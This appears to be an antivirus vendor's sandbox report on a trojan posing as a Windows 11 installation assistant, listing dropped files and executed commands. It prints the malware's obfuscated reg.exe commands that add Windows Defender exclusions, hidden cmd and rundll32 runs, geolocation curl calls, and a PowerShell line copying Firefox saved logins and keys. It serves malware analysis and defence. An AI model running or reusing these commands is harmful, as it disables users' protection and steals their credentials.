from %APPDATA%\windows11installationassistant\icons\classic\is-spdal.tmp to %APPDATA%\windows11installationassistant\icons\classic\d7a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-341a8.tmp to %APPDATA%\windows11installationassistant\icons\classic\d7.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-ajngq.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d20a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-p26uv.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d20.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-b69c2.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d2.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-itkth.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d1a.ico
from C:\tmp\is-c33bl.tmp to C:\tmp\ico1.ico
from %APPDATA%\windows11installationassistant\images\is-vj72h.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@225.png
from %APPDATA%\windows11installationassistant\images\is-fie25.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@200.png
from %APPDATA%\windows11installationassistant\images\is-ma64u.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@175.png
from %APPDATA%\windows11installationassistant\images\is-gf67b.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@150.png
from %APPDATA%\windows11installationassistant\images\is-o0gg4.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@350.png
from %APPDATA%\windows11installationassistant\images\is-a1gfs.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@125.png
from %APPDATA%\windows11installationassistant\images\is-e23co.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@200.png
from %APPDATA%\windows11installationassistant\images\is-vukj4.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@175.png
from %APPDATA%\windows11installationassistant\images\is-geot8.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@150.png
from %APPDATA%\windows11installationassistant\images\is-f2glg.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@125.png
from %APPDATA%\windows11installationassistant\images\is-i3e57.tmp to %APPDATA%\windows11installationassistant\images\createfolderfence@100.png
from %APPDATA%\windows11installationassistant\images\is-crji7.tmp to %APPDATA%\windows11installationassistant\images\createfence@200.png
from %APPDATA%\windows11installationassistant\images\is-lm64r.tmp to %APPDATA%\windows11installationassistant\images\createfence@175.png
from %APPDATA%\windows11installationassistant\images\is-7nn97.tmp to %APPDATA%\windows11installationassistant\images\createfence@150.png
from %APPDATA%\windows11installationassistant\images\is-2lt2i.tmp to %APPDATA%\windows11installationassistant\images\createfence@125.png
from %TEMP%\is-is2pc.tmp\temp\is-ukirs.tmp to %TEMP%\is-is2pc.tmp\temp\r.exe
from %APPDATA%\windows11installationassistant\images\is-vj050.tmp to %APPDATA%\windows11installationassistant\images\createfence@100.png
from %APPDATA%\windows11installationassistant\images\is-v4bul.tmp to %APPDATA%\windows11installationassistant\images\closeicon@150.png
from %APPDATA%\windows11installationassistant\images\is-intt1.tmp to %APPDATA%\windows11installationassistant\images\closeicon@125.png
from %APPDATA%\windows11installationassistant\images\is-ri6rc.tmp to %APPDATA%\windows11installationassistant\images\closeicon@100.png
from %APPDATA%\windows11installationassistant\icons\new blue\is-k4ngt.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d9a.ico
from %APPDATA%\windows11installationassistant\images\is-gk6e3.tmp to %APPDATA%\windows11installationassistant\images\pagerbullets@100.png

Substitutes the following files

%TEMP%\is-is2pc.tmp\temp\.cmd

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Creates and executes the following

'%TEMP%\is-d4hvt.tmp\<File name>.tmp' /SL5="$B0238,18788298,203776,<Full path to file>"
'%TEMP%\is-is2pc.tmp\temp\r.exe' /Sw:0 reg.eXe add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
'%TEMP%\is-l0l3e.tmp\<File name>.tmp' /SL5="$150146,18788298,203776,<Full path to file>" /verysilent /sp-
'%TEMP%\is-is2pc.tmp\temp\r.exe' /TI/ /sW:0 reG.eXe Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
'%TEMP%\is-is2pc.tmp\temp\r.exe' /sW:0 reG.exe Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
'%TEMP%\is-is2pc.tmp\temp\r.exe' /sW:0 reG.exe Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
'%APPDATA%\windows11installationassistant\windows11instaiiation.scr'
'%TEMP%\is-is2pc.tmp\temp\r.exe' /TI/ /sW:0 reG.exe Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
'%TEMP%\is-is2pc.tmp\temp\r.exe' /TI/ /sW:0 reG.exe Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
'%TEMP%\is-is2pc.tmp\temp\r.exe' /SW:0 reG.exe add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
'%TEMP%\is-is2pc.tmp\temp\r.exe' /sW:0 reG.eXe Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
'%TEMP%\is-is2pc.tmp\temp\r.exe' /TI/ /SW:0 reG.exe add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
'%TEMP%\is-is2pc.tmp\temp\r.exe' /TI/ /Sw:0 reg.eXe add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
'<SYSTEM32>\reg.exe' Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F' (with hidden window)
'<SYSTEM32>\reg.exe' Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F' (with hidden window)
'<SYSTEM32>\reg.exe' add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F' (with hidden window)
'<SYSTEM32>\reg.exe' Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f' (with hidden window)
'%WINDIR%\syswow64\rundll32.exe' C:\tmp\pbd.dll, Uaby' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-IS2PC.tmp\temp\.cmd""' (with hidden window)
'%WINDIR%\syswow64\taskkill.exe' /f /im "Windows11InstaIIation.scr"' (with hidden window)
'<Full path to file>' /verysilent /sp-' (with hidden window)
'%APPDATA%\windows11installationassistant\windows11instaiiation.scr' ' (with hidden window)
'<SYSTEM32>\reg.exe' add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\657o3m999d0swns1285495.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP...' (with hidden window)

Executes the following

'%WINDIR%\syswow64\rundll32.exe' C:\tmp\pbd.dll, Uaby
'<SYSTEM32>\rundll32.exe' C:\tmp\pbd.dll, Uaby
'%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-IS2PC.tmp\temp\.cmd""
'<SYSTEM32>\reg.exe' Add "hKlm\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS" /v dLl /t reg_dword /d 0 /f
'<SYSTEM32>\reg.exe' Add "hKLm\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS" /v sCr /t reg_dWord /d 0 /F
'<SYSTEM32>\reg.exe' add "hKLm\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS" /V CMd /T reG_dWOrd /d 0 /f
'<SYSTEM32>\reg.exe' add "hklm\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS" /V exe /t reG_dwOrd /d 0 /F
'%WINDIR%\syswow64\cmd.exe' /c cUrL -s ipINFO.io/Ip
'<SYSTEM32>\reg.exe' Add "hKLm\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS" /v "<DRIVERS>\etc\hOSTS" /T "reG_dword" /d "0" /F
'%WINDIR%\syswow64\cmd.exe' /c cuRL -s IPINfo.Io/city
'%WINDIR%\syswow64\cmd.exe' /c cUrl -s IPiNfo.io/country
'%WINDIR%\syswow64\attrib.exe' +s +H %APPDATA%\windows11installationassistant\.cmD
'%WINDIR%\syswow64\attrib.exe' +s +h %APPDATA%\windows11installationassistant\.vbs
'<SYSTEM32>\dxdiag.exe' /x %LOCALAPPDATA%\Orange Group\Windows 11 Compatibility Checker\dxv.xml
'%WINDIR%\syswow64\dxdiag.exe' /x %LOCALAPPDATA%\Orange Group\Windows 11 Compatibility Checker\dxv.xml
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\657o3m999d0swns1285495.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP...

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial